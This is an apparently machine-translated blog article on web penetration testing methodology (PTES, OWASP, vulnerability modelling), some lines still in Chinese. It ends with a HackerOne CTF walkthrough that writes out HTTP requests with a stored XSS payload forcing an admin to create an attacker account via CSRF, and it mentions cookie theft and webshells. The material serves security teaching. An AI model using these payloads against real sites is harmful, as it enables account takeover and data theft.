目次
この記事は、背景の紹介、Web ペネトレーション テスト手法の概念、および Web ペネトレーション テストの例の 3 つの章で構成されています。背景の紹介では、脆弱性マイニングとペネトレーション テストの 2 つの概念について説明します。この章の理論的な部分である Web ペネトレーション テストの例は、次のとおりです。第 2 章のアイデアを実際の事例で実証します。
背景紹介
この章では主に、侵入テストと脆弱性マイニングという 2 つの概念についての私の理解を紹介します。
仕事上の理由により、著者はいくつかの国内外の当事者 B セキュリティ会社のペネトレーション テスト レポートにアクセスできます。
さまざまな当事者 B 企業が提供する多くのペネトレーション テスト レポートを読んだ結果、単純に言えば、おそらくいくつかの種類のペネトレーション テスト レポートが存在すると考えられます。
1. 只提供一份测试报告, 报告主体内容是 漏洞列表, 漏洞详情
2. 提供简单的 checklist, 一般是以附录的形式写在测试报告中
3. 提供来测试计划, 以及测试报告
ペネトレーションテストについてあまり詳しくないA社にとって、ペネトレーションテストの目的は脆弱性を発見することであり、上記の3種類のレポートは大きな違いはないようです。
実際にはそうではなく、組織的な侵入テストの場合、レポートの内容は非常に豊富になる可能性があります。
脆弱性マイニング
脆弱性マイニングは脆弱性指向であり、毎年多数の CVE が脆弱性マイニングの結果として発生しています。たとえば、CTF のクラッキングも脆弱性マイニングと利用のプロセスです。脆弱性マイニング機能がセキュリティ担当者のスキル レベルを反映できることは疑いの余地がありません。
たとえば、ある日、xxx SRC が、低リスクおよび中リスクの脆弱性は含まれなくなり、高リスク以上の脆弱性のみが受け入れられるという発表を行ったとします。ホワイトハットとしては、ユーザー名総当たり攻撃などの脆弱性を無視できますが、侵入テストを行っている場合、これらの脆弱性をそう簡単に無視することはできません。
脆弱性のリストと詳細のみを提供する種類のテスト レポートは、脆弱性マイニング モードを使用すると推測できます。このモードは、レポートに脆弱性がある限り、B にとっては少し簡単です。引き渡される。
侵入テスト
PTES によると、侵入テストは 2 つのフェーズで構成され、1 つは脆弱性の分析、もう 1 つは脆弱性の悪用です。
Vulnerability を脆弱性と訳すのが一般的ですが、実際には脆弱性と訳した方が適切だと思います。
侵入テストはプロセスと方法に重点を置き、テスト結果はプロセスの結果にすぎません。一般に、侵入テストの目的は、構造化された方法を通じてシステムのすべての脆弱性 (脆弱性) を特定し、これらの脆弱性の使用を試み、最終的にこれらの脆弱性がシステムに及ぼす可能性のあるリスクを評価することです。
脆弱性評価で 脆弱な点が見つかったら 、それで終わりです。ただし、ペネトレーションテストの場合は 、 これらの脆弱性をさらに悪用し、バックドアを残したり、痕跡を削除したりする必要があります。つまり、 PTES で言及されている Exploitation と Post Exploitation の 2 つのプロセスです。
そのため、機密情報の平文送信、ユーザー名総当たり攻撃、経路情報漏洩から、SQLインジェクション、認証バイパス、不正アクセスなど、あらゆる脆弱性をテスト範囲内で見逃すことはできません。
XSS などウィンドウがポップアップする脆弱性のみを報告するテストレポートでは、脆弱性評価の結果としか言えず、実際に XSS を悪用しない場合はペネトレーションテストとは言えません。xss 攻撃を使用して Cookie を盗み、Cookie を使用してシステムにログインするなどの利用とは何ですか。
個人的な意見
個人的には、ペネトレーションテストと脆弱性マイニングの関係は、お互いにとって十分条件ではないと考えています。つまり、ペネトレーション テストのエンジニアリング手法を理解している人が、必ずしも抜け穴を掘るのが得意であるとは限りません。穴を掘るのが得意な人でも、ペネトレーション テストを適切に実行できない可能性があります。
しかし全体として、脆弱性マイニングの閾値は侵入テスト手法の閾値よりも高くなります。優秀な CTFer はペネトレーション テストの本質をすぐに理解できるはずですが、逆にペネトレーション テストの方法論に精通した人でも、脆弱性マイニングのスキルをすぐには理解できない可能性があります。
PTES の侵入テストの概要を引用
侵入テストは対立的なものであってはいけないことに注意してください。テスターがあなたを「ハッキング」できるかどうかを確認するアクティビティであってはなりません。攻撃に関連するビジネス リスクを特定することが重要です。
ところで、興味深いことをお伝えしたいのですが、著者の友人は以前に wooyun の脆弱性を掘っていて、後に侵入テスト作業を引き受けるために Party B 侵入チームを設立したいと考えていました。その後、甲との間で報酬問題について合意が得られず断念したという。
実際、私は、B チームが A と交渉できる方法は 2 つあると考えていました。
モード 1 脆弱性マイニング モードは 、脆弱性、深刻度、高リスク、中リスク、低リスクに応じて価格が設定されます。
モード 2 ペネトレーション テスト モード ペネトレーション テスト計画、出力チェックリスト、脆弱性レポート、脅威モデリング レポートなどを作成します。
私の意見では、B チームにとって、仕事が増え、給料が増えれば増えるほど、プレッシャーは軽減されます。モード 2 はより多くの時間とエネルギーがかかり、料金はより高価になるはずです。
結果も明らかで、業界はモード 1、つまり独自に SRC を確立し、脆弱性を収集し、脆弱性の危険レベルに応じて相応の報酬を支払う傾向にあります。大手のホワイトハット プラットフォームと協力し、これらのプラットフォームで群衆テストを開始します。
モード 2 の本当の問題は、当事者 B のチームが侵入テストのタスクを引き受ける能力があるかどうかという一方で、当事者 A が当事者 B のチームをどのように信頼できるかということです。一方、当事者 B のチームが当事者 A のデータを漏洩しないようにするにはどうすればよいでしょうか。
私は個人的に、モード 2 の方が当事者 B にとって価値があると考えています。多くの中小企業には、セキュリティのための人員に投資するための十分な資金や予算がありません。リスク評価/侵入テストなどを行うためにセキュリティ チームを雇うことができます。PTaaS (PenTest as a Service) は理論的には非常に優れています。CA 証明書モデルと同様に、中立的な非営利 PT (ペネトレーション) 組織が当事者 B のチームを認証します。当事者 A は PT 組織を信頼しているため、組織が発行した PT 証明書を持つ当事者 B のチームを信頼します。
Webペネトレーションテスト手法の概念化
この章は、Web ペネトレーション テストの実装方法を構築するために、PTES の参考文献 [1] と OWASP テスト ガイドラインの参考文献 [2] に基づいています。
PTES の概要
読者の中には PTES を理解していない人もいるかもしれません。ここでは非常に簡単に紹介します。
PTESの正式名称はペネトレーションテスト実行スタンダード、つまり侵入テスト実行標準です。この規格は侵入テストのプロセスと内容を定義しており、7 つの部分に分かれています。
1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Threat Modeling 威胁建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Post Exploitation 后渗透
7. Reporting 报告
これら 7 つの部分は、侵入テストの最初から最後までの完全なプロセスをカバーします。これは、ペネトレーションテスト実施者が注目すべきペネトレーションテスト手法のセットであると言えます。興味のある読者は参考文献 [1] を参照してください。
「PTES」ウェブサイト
この標準を OWASP テスト ガイドラインと組み合わせて侵入テスト プロセスに導入できるように、PTES を適切に調整しました。
1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Vulnerability Modeling 漏洞建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Reporting 报告
脅威モデリングでは、STRIDE モデル、攻撃ツリー、および攻撃ライブラリ モデリングを使用できますが、これらは「アジャイル」侵入テストには抽象的すぎます。そこで、脆弱性モデリングに変更しました。
初期の相互作用
初期の対話の中心となるのは範囲と目標です。スコープとは、資産サーバー、ドメイン名/IP、データベースなどを含むテスト範囲の範囲を指します。
目標に関して、PTES は非常に明確な紹介も行いました。
すべての侵入テストは目標指向である必要があります。つまり、テストの目的は、顧客のビジネスまたはミッション目標の侵害につながる特定の脆弱性を特定することです。パッチが適用されていないシステムを見つけることが目的ではありません。それは、組織に悪影響を与えるリスクを特定することです。
たとえば、当事者 A の要求は、データベースがドラッグされないこと、または xxx ドメイン名の Web サービスがサービス拒否攻撃などの影響を受けないことを保証することです。先生がよく言っていましたが、本は疑問を持って読みましょう。ここでは目標を持ったテストです。
出力は、テスト範囲、テスト目標、テスト時間/スケジュールなどに従ってテスト計画書を整理することです。
メッセージを収集する
情報収集は侵入テストのあらゆる側面を網羅しており、収集する情報が多いほど侵入テストがよりスムーズになります。インターネット上には関連するコンテンツがたくさんあるので、ここでは繰り返しません。
脆弱性モデリング
それぞれの一意の HTTP パスをインターフェースとして扱います
例えば
GET /main/asdf
POST /subproc/fdsa
{xxx=xyz}
PUT /upload/tmpfile
file=fake content
脆弱性モデリングでは、Web パスを 1 つの次元として、Web 脆弱性のタイプを別の次元として取り、2 次元のマトリックスを確立します。
次に、「バッファ オーバーフロー」などのテストを開始する前に「*」を入力する必要があるかどうか、どのインターフェイスに「/」のマークを付ける必要があるのか、どのインターフェイスにマークを付ける必要がないのかをどのように確認すればよいのかという疑問があります。
私の提案は、「*」を入力するかどうかわからない場合は、デフォルトで「*」を入力することです。システムをよりよく理解した後、おそらく経験を積めば、「*」を入力する必要がある場所をすぐに見つけることができます。 」
最後に、第 2 レベルのモデリングで「*」が付いた項目をすべて整理し、脆弱性チェックリストを出力します。
出力: 脆弱性チェックリスト
脆弱性分析
あらゆる種類のトリックやアイデアを使用して、前のステップで出力された脆弱性チェックリストに本当に脆弱性があるかどうかを分析します。
このプロセスは、テスト ケースを決定する必要があるという点で脆弱性モデリングとは異なります。たとえば、「POST /subproc/dosth」には SQL inj 脆弱性がある可能性があります。テスターは、実際の脆弱性があるかどうかを検出し、テスト ケースを分類するために手動/自動ツールが必要です。
例えば
POST /subproc/dosth
{xxx=xyz}
浸透
脆弱性リストを出力したら、脆弱性解析リンクは終了ですが、通常、甲はそこで止まり、悪用を中止します。これも当然で、当事者 A は SQL インジェクションを行うだけで済みます。
引き続き悪用したい場合は、SQL インジェクションを使用してシステム シェルの実行を取得するか、SQL インジェクションを使用してファイルを書き込み、Webshell を取得するか、データベースをクロールして機密の特権アカウントを見つけ、特権アカウントを使用してシステムにログインする可能性があります。等々。
脆弱性を分析するだけでは十分ではないのに、なぜそれを使用するのでしょうか?
これは具体的なシナリオによって異なりますが、当事者 A が製品にファイアウォール、WAF などを導入している場合、この環境に SQL インジェクションの脆弱性がある場合でも、どのような被害が生じる可能性があるかを知りたいと考えています。WAF がすべての攻撃を識別できるかどうか。抜け穴もありますが安全です。あるいは、複数の抜け穴が直列に接続されて大きな被害をもたらす可能性があります。これらは脆弱性分析では実行できないことです。これが、侵入テストが脆弱性分析よりも高価である本質的な理由です。
テストレポート
脆弱性のリストのみを含む侵入テスト レポートを出力するのは非常に無責任です。
一方で、これは侵入テストではないかもしれませんが、せいぜい脆弱性分析レポートです。
一方、甲は、脆弱性を列挙しただけの報告書に基づいて、その製品が安全であるか安全でないと結論付けることは困難です。
完全な侵入テストでは、次の成果物が出力されます。
出力: テスト計画文書、脆弱性チェックリスト、チェックリストとテスト範囲に一致するテスト ケース、脆弱性の詳細を含むテスト レポート
Webペネトレーションテストの例
非常に多くの理論的アイデアが上で議論されてきました。この章では、事例を使用して、上記のプロセスにおける脆弱性モデリング、脆弱性分析、および脆弱性悪用について説明したいと思います。
HackerOne の CTF 質問 8/9 をターゲットとして使用し、ターゲット上で侵入テストを実行します。参考文献 [3] を参照してください。
HackerOne は海外で非常に人気のあるクラウド テスト プラットフォームで、このクラウド テスト プラットフォームでバグを見つけてお金を稼ぎたい場合は、CTF 練習場に行って質問に答えてポイントを獲得する必要があり、26 ポイントを貯めて初めて獲得できます。招待コードを取得します。
今回は、8/9 の質問 Ticketastic: Demo Instance/Ticketastic: Live Instance をテスト対象として、前述の Web PTES をペネトレーション テストに使用する方法を示します。
初期の相互作用
テスト範囲: http://35.190.155.168/b9b2ddf96c/
テスト対象：ユーザーデータベース
メッセージを収集する
インターフェース: /newTicket、/login、/admin、/ticket、/newUser
脆弱性モデリング
経験によれば、問題が発生する可能性が最も高いのは認証、セッション管理、認可、および入力検出の方向であるため、今回はこれらの方向についてのみテストします。
脆弱性分析
脆弱性チェックリストを 1 つずつ分析してトラブルシューティングします。トラブルシューティングのプロセスでは、テスト ケースを整理します。
上記のテストケースを実行後、脆弱性のリストを出力します。
浸透
脆弱性分析プロセスを実行した後、複数の脆弱性を習得した後、これらの脆弱性を悪用する必要があります。これには、単一の脆弱性を使用することも、複数の脆弱性を組み合わせて使用することもできます。
テスト対象「ユーザーデータベース」を達成するために、以下の攻撃アイデアを構築する
管理者の資格情報でシステムにログインし、SQL インジェクションの脆弱性を利用してデータベースをドラッグすると、SQL インジェクション ポイントが見つかりました。重要なのは、管理者の資格情報を取得する方法です。
アイデア 1: セッションをクラックする
アイデア 2: xss を通じて Cookie を盗む
アイデア 3: CSRF 経由でアカウントを追加する
アイデア 4: ブルートフォースによってパスワードを解読する
セッションを Base64 デコードすると、セッションの最初の部分は {"user":"admin"} になりますが、後半は文字化けしてわかりません。
総当りクラッキングもダメで、結局のところ、top10000の辞書で抜け出せないのであれば、それは問題解決の方向ではありません。
xss を通じて Cookie を盗み、CSRF を通じてアカウントを追加することが可能です。hackerOne CTF 環境の制限により、xss による Cookie の盗用は成功しません。ついにCSRFを試すことができます
脆弱性 1 newTicket に保存された XSS インジェクション<img src='newUser?username=pter&password=admin123&password2=admin123'> により、管理者がチケット ページにアクセスすると CSRF がトリガーされ、パスワード admin123 を持つ新しいユーザー ターが追加されます。
私は試した
# payload 1
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">
# paylod 2
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">
どれも成功しなかったので、この問題を解決せず、結果として両方の FLAG を取得できませんでした。
インターネット上の書き込みを確認したところ、次のペイロードが実行可能であることがわかりました。
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">
実際、この localhost にも手がかりがあります。つまり、デモ環境では、payload1 を使用し、管理者がログインした後、ソース コードに表示されます。CTFの経験はまだまだ足りません。
報告
このステップでため息をつきましたか? 完全に完了した後でも、作業量はまだ膨大です。脆弱性モデリングから脆弱性分析、脆弱性悪用までのプロセスには多くの時間がかかりますが、甲にとってこれらのプロセスから出力されるミドルウェアは非常に貴重な情報となります。
成果物は
1. 测试计划文档
2. 漏洞建模表, 及漏洞 Checklist
3. 测试用例, 漏洞列表
4. 测试报告 也可以把 上述表格/用例整合到测试报告中。但是测试计划建议单独一份文档
上記の各プロセスはオペレーターと強く関係しています。脆弱性モデリング プロセス中に、さまざまな人がさまざまな脆弱性チェックリストを出力し、さまざまなユースケースを作成し、さまざまな脆弱性リストを取得します。したがって、この一連の侵入テスト実装方法では、侵入テストの実行方法についてのみ説明しており、それを適切に実行する方法については説明していません。
侵入テストで良い仕事をしたいなら、脆弱性を発見する能力が不可欠であり、これは面接の重要なポイントでもあります。脆弱性マイニング能力を練習するには、公開テストに参加する、SRC を掘る、CVE を掘る、CNVD/CNNVD、ターゲットドローン演習などの方法を使用できます。
これらは、Web ペネトレーション テストの実行に関する私の個人的な考えの一部です。もうすぐ終わりです。実際、私はこの環境を、CTF チュートリアルではなく、侵入テスト プロセスをデモンストレーションするためだけに使用しています。それでゲームオーバー。
著者のレベルが限られているため、記事には間違いが含まれることは避けられませんが、読者は批判や修正を歓迎します。